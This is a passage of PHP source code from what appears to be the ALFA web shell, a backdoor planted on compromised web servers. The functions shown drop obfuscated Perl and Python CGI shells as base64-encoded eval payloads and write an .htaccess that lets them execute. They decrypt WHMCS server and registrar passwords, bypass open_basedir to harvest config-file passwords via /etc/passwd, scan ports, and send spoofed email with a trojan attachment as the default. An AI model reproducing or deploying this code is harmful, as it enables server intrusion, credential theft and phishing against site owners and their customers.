key="\'.$item[$col_key].\'" row_id="\'.$line.\'" onclick="alfaMysqlEditRow(this, \\\'delete\\\');" style="color:#ff1e1e;">Delete</a></td>\';\r\n\t\t\t\t}\r\n\t\t\t\t$tbl_content .= \'<tr class="tbl_row tbl_row_l\'.$line.\'">\'.$cacheMsg;\r\n\t\t\t\t$line++;\r\n\t\t\t\tforeach($item as $key => $value){\r\n\t\t\t\t\tif($value == null){\r\n\t\t\t\t\t\t$tbl_content .= \'<td><i>null</i></td>\';\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$tbl_content .= \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\r\n\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$tbl_content .= \'</tr>\';\r\n\t\t\t}\r\n\t\t\t$tbl_content .= \'</table>\';\r\n\t\t\tif(!$title){\r\n\t\t\t\t$tbl_content = "<div style=\'padding:5px;border:1px dashed;margin:10px;\'>Table is empty...</div>";\r\n\t\t\t}\r\n\t\t\techo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));\r\n\t\t}\r\n\t\t@mysqli_close($conn);\r\n\t}\r\n}\r\nfunction alfaselfrm(){\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'yes\'){\r\necho(__pre().\'<center>\');\r\nif(@unlink($GLOBALS[\'__file_path\'])){\r\necho(\'<b>Shell has been removed</i> :)</b>\');\r\n}else{\r\necho \'unlink error!\';\r\n}\r\necho(\'</center>\');\r\n}\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']!=\'yes\'){\r\necho "<div class=header>";\r\necho "\r\n<center><p><img src=\\"http://solevisible.com/images/farvahar-iran.png\\"></p>";\r\necho \'<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\\\'selfrm\\\',null,\\\'yes\\\');"> Yes</a>\';\r\necho \'</p></center></div>\';\r\n}\r\n}\r\nfunction alfacgishell(){\r\nalfahead();\r\n$div = "";\r\nalfaCreateParentFolder();\r\n@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);\r\nif(!in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){\r\n$div = "</div>";\r\necho \'<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\\\'perl\\\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\\\'py\\\');">| Python | </a>\';\r\n}\r\nif(isset($_POST[\'alfa1\'])&&in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){\r\n@mkdir(\'cgialfa\',0755);\r\n@chdir(\'cgialfa\');\r\nalfacgihtaccess(\'cgi\');\r\n$name = $_POST[\'alfa1\'].\'.alfa\';\r\n$perl = \'#!/usr/bin/perl -I/usr/local/bandmin\'."\\n".\'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));\';;\r\n$py = \'#!/usr/bin/python\'."\\nimport zlib, base64\\n".\'eval(compile(zlib.decompress(base64.b64decode("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")),\\\'<string>\\\',\\\'exec\\\'))\';\r\nif($_POST[\'alfa1\']==\'perl\'){$code = $perl;}else{$code = $py;}\r\nif(__write_file($name,$code)){\r\n@chmod($name,0755);\r\necho \'<iframe src="\'.__ALFA_DATA_FOLDER__.\'/cgialfa/\'.$name.\'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>\';\r\n}\r\n}\r\necho $div;\r\nalfafooter();\r\n}\r\nfunction alfaWhmcs(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nfunction decrypt($string,$cc_encryption_hash){\r\n$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);\r\n$hash_key = _hash($key);\r\n$hash_length = strlen ($hash_key);\r\n$string = __ZGVjb2Rlcg($string);\r\n$tmp_iv = substr ($string, 0, $hash_length);\r\n$string = substr ($string, $hash_length, strlen ($string) - $hash_length);\r\n$iv = $out = \'\';\r\n$c = 0;\r\nwhile ($c < $hash_length)\r\n{\r\n$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));\r\n++$c;\r\n}\r\n$key = $iv;\r\n$c = 0;\r\nwhile ($c < strlen ($string))\r\n{\r\nif (($c != 0 AND $c % $hash_length == 0))\r\n{\r\n$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));\r\n}\r\n$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));\r\n++$c;\r\n}\r\nreturn $out;\r\n}\r\nfunction _hash($string)\r\n{\r\nif(function_exists(\'sha1\'))\r\n{\r\n$hash = sha1 ($string);\r\n}\r\nelse\r\n{\r\n$hash = md5 ($string);\r\n}\r\n$out = \'\';\r\n$c = 0;\r\nwhile ($c < strlen ($hash))\r\n{\r\n$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));\r\n$c += 2;\r\n}\r\nreturn $out;\r\n}\r\nAlfaNum(8,9,10);\r\necho "<center><br><div class=\'txtfont_header\'>| WHMCS DeCoder |</div><p>".getConfigHtml(\'whmcs\')."</p><form onsubmit=\\"g(\'Whmcs\',null,this.form_action.value,\'decoder\',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\\">\r\n<input type=\'hidden\' name=\'form_action\' value=\'2\'>";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'cc_encryption_hash : \', \'inputName\' => \'cc_encryption_hash\', \'id\' => \'cc_encryption_hash\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<p><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\r\nif($_POST[\'alfa5\']!=\'\'){\r\n$db_host=($_POST[\'alfa7\']);\r\n$db_username=($_POST[\'alfa3\']);\r\n$db_password=($_POST[\'alfa4\']);\r\n$db_name=($_POST[\'alfa5\']);\r\n$cc_encryption_hash=($_POST[\'alfa6\']);\r\necho __pre();\r\n$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));\r\n$query = mysqli_query($conn,"SELECT * FROM tblservers");\r\n$num = mysqli_num_rows($query);\r\nif ($num > 0){\r\nfor($i=0; $i <=$num-1; $i++){\r\n$v = @mysqli_fetch_array($query);\r\n$ipaddress = $v[\'ipaddress\'];\r\n$username = $v[\'username\'];\r\n$type = $v[\'type\'];\r\n$active = $v[\'active\'];\r\n$hostname = $v[\'hostname\'];\r\necho("<center><table border=\'1\'>");\r\n$password = decrypt ($v[\'password\'], $cc_encryption_hash);\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Type</font></td><td>$type</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Active</font></td><td>$active</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Hostname</font></td><td>$hostname</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Ip</font></td><td>$ipaddress</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Username</font></td><td>$username</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Password</font></td><td>$password</td></tr></b>");\r\necho "</table><br><br></center>";\r\n}\r\n$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");\r\n$num1 = @mysqli_num_rows($query1);\r\nif ($num1 > 0){\r\nfor($i=0; $i <=$num1 -1; $i++){\r\n$v = mysqli_fetch_array($query1);\r\n$registrar = $v[\'registrar\'];\r\n$setting = $v[\'setting\'];\r\n$value = decrypt($v[\'value\'], $cc_encryption_hash);\r\nif ($value==""){\r\n$value=0;\r\n}\r\necho("<center>Domain Reseller <br><center>");\r\necho("<center><table border=\'1\'>");\r\necho("<tr><td><b><font color=\\"#67ABDF\\">Register</font></td><td>$registrar</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#67ABDF\\">Setting</font></td><td>$setting</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#67ABDF\\">Value</font></td><td>$value</td></tr></b>");\r\necho "</table><br><br></center>";\r\n}\r\n}\r\n}else{__alert(\'<font color="red">tblservers is Empty...!</font>\');};\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfaportscanner(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>\r\n<form action="" method="post" onsubmit="g(\\\'portscanner\\\',null,null,this.start.value,this.end.value,this.host.value); return false;">\r\n<input type="hidden" name="y" value="phptools">\r\n<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>\r\n<div class="txtfont">Port start: </div> <input id="text" size="5" type="text" name="start" value="80"/>\r\n<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />\r\n</form></center><br>\';\r\n$start = strip_tags($_POST[\'alfa2\']);\r\n$end = strip_tags($_POST[\'alfa3\']);\r\n$host = strip_tags($_POST[\'alfa4\']);\r\nif(isset($_POST[\'alfa4\']) && is_numeric($_POST[\'alfa3\']) && is_numeric($_POST[\'alfa2\'])){\r\necho __pre();\r\n$packetContent = "GET / HTTP/1.1\\r\\n\\r\\n";\r\nif(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);\r\nelse{\r\n$packetContent = str_replace(array("\\r","\\n"), "", $packetContent);\r\n$packetContent = str_replace(array("\\\\r","\\\\n"), array("\\r", "\\n"), $packetContent);\r\n}\r\nfor($i = $start; $i<=$end; $i++){\r\n$sock = @fsockopen($host, $i, $errno, $errstr, 3);\r\nif($sock){\r\nstream_set_timeout($sock, 5);\r\nfwrite($sock, $packetContent."\\r\\n\\r\\n\\x00");\r\n$counter = 0;\r\n$maxtry = 1;\r\n$bin = "";\r\ndo{\r\n$line = fgets($sock, 1024);\r\nif(trim($line)=="")$counter++;\r\n$bin .= $line;\r\n}while($counter<$maxtry);\r\nfclose($sock);\r\necho "<center><p>Port <font style=\'color:#DE3E3E\'>$i</font> is open</p>";\r\necho "<p><textarea style=\'height:140px;width:50%;\'>".$bin."</textarea></p></center>";\r\n}\r\nflush();\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacgihtaccess($m,$d=\'\', $symname=false){\r\n$readme = "";\r\nif($symname){$readme="\\nReadmeName ".trim($symname);}\r\nif($m==\'cgi\'){\r\n$code = "#Coded By Sole Sad & Invisible\\nOptions FollowSymLinks MultiViews Indexes ExecCGI\\nAddType application/x-httpd-cgi .alfa\\nAddHandler cgi-script .alfa";\r\n}elseif($m==\'sym\'){\r\n$code = "#Coded By Sole Sad & Invisible\\nOptions Indexes FollowSymLinks\\nDirectoryIndex solevisible.phtm\\nAddType text/plain php html php4 phtml\\nAddHandler text/plain php html php4 phtml{$readme}\\nOptions all";\r\n}elseif($m==\'shtml\'){\r\n$code = "Options +Includes\\nAddType text/html .shtml\\nAddHandler server-parsed .shtml";\r\n}\r\n@__write_file($d . ".htaccess", $code);\r\n}\r\nfunction alfabasedir(){\r\nalfahead();\r\necho \'<div class=header>\r\n<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>\';\r\n$passwd = _alfa_file(\'/etc/passwd\');\r\nif(is_array($passwd)){\r\n$users = array();\r\n$makepwd = alfaMakePwd();\r\n$basedir = @ini_get(\'open_basedir\');\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){\r\n$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";\r\n$tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);\r\n$bash_users = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);\r\n$users = json_decode($bash_users, true);\r\n$x=count($users);\r\nif($x>=2){array_pop($users);--$x;}\r\n}\r\nif(!$basedir&&!$safe_mode){\r\n$x=0;\r\nforeach($passwd as $str){\r\n$pos = strpos($str,\':\');\r\n$username = substr($str,0,$pos);\r\n$dirz = str_replace("{user}", $username, $makepwd);\r\nif(($username != \'\')){\r\nif (@is_readable($dirz)){\r\narray_push($users,$username);\r\n$x++;\r\n}}}\r\n}\r\necho \'<br><br>\';\r\necho "<b><font color=\\"#00A220\\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\\n"."<br /></font></b>";\r\necho "<b><font color=\\"#FFFFFF\\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\\n"."<br /></font></b>";\r\necho "<b><font color=\\"#FF0000\\">[~] Searching for passwords in config files...\\n\\n"."<br /><br /><br /></font></b>";\r\nforeach($users as $user){\r\nif(empty($user))continue;\r\n$path = str_replace("{user}", $user, $makepwd);\r\necho "<form method=post onsubmit=\'g(\\"FilesMan\\",this.c.value,\\"\\");return false;\'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class=\'foottable\' type=text name=c value=\'$path\'><input type=submit value=\'>>\'></form><br>";\r\n}\r\n}else{echo(\'<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>\');}\r\necho \'<br><br></b>\';\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfamail(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nAlfaNum(8,9,10);\r\necho \'<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\\\'mail\\\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\\\'>>\\\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">\';\r\n$table = array(\r\n\'td1\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mail To : \', \'inputName\' => \'mail_to\', \'inputValue\' => \'target@fbi.gov\', \'inputSize\' => \'60\',\'placeholder\' => true),\r\n\'td2\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'From : \', \'inputName\' => \'mail_from\', \'inputValue\' => \'sec@google.com\', \'inputSize\' => \'60\', \'placeholder\' => true),\r\n\'td3\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Subject : \', \'inputName\' => \'mail_subject\', \'inputValue\' => \'your site hacked by me\', \'inputSize\' => \'60\'),\r\n\'td4\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Attach File : \', \'inputName\' => \'mail_attach\', \'inputValue\' => $GLOBALS[\'cwd\'].\'trojan.exe\', \'inputSize\' => \'60\'),\r\n\'td5\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Count Mail : \', \'inputName\' => \'count_mail\', \'inputValue\' => \'1\', \'inputSize\' => \'60\')\r\n);\r\ncreate_table($table);\r\necho \'<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>\';\r\nif(isset($_POST[\'alfa4\'])&&($_POST[\'alfa4\'] == \'>>\')){\r\n$mail_to = $_POST[\'alfa1\'];\r\n$mail_from = $_POST[\'alfa2\'];\r\n$mail_subject = $_POST[\'alfa3\'];\r\n$mail_content = $_POST[\'alfa5\'];\r\n$count_mail = (int)$_POST[\'alfa6\'];\r\n$mail_attach = $_POST[\'alfa7\'];\r\nif(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){\r\nif(!empty($mail_attach)&&@is_file($mail_attach)){\r\n$file = $mail_attach;\r\n$content = __read_file($file);\r\n$content = chunk_split(__ZW5jb2Rlcg($content));\r\n$uid = md5(uniqid(time()));\r\n$filename = basename($file);\r\n$headers = "From: ".$mail_from." <".$mail_from.">\\r\\n";\r\n$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \\r\\n";\r\n$headers .= "Reply-To: ".$mail_from."\\r\\n";\r\n$headers .= "Content-Type: multipart/mixed; boundary=\\"".$uid."\\"\\r\\n\\r\\n";\r\n$headers .= \'MIME-Version: 1.0\' . "\\r\\n";\r\n$headers .= \'X-Mailer: php\' . "\\r\\n";\r\n$mail_content = "--".$uid."\\r\\n";\r\n$mail_content .= "Content-type:text/plain; 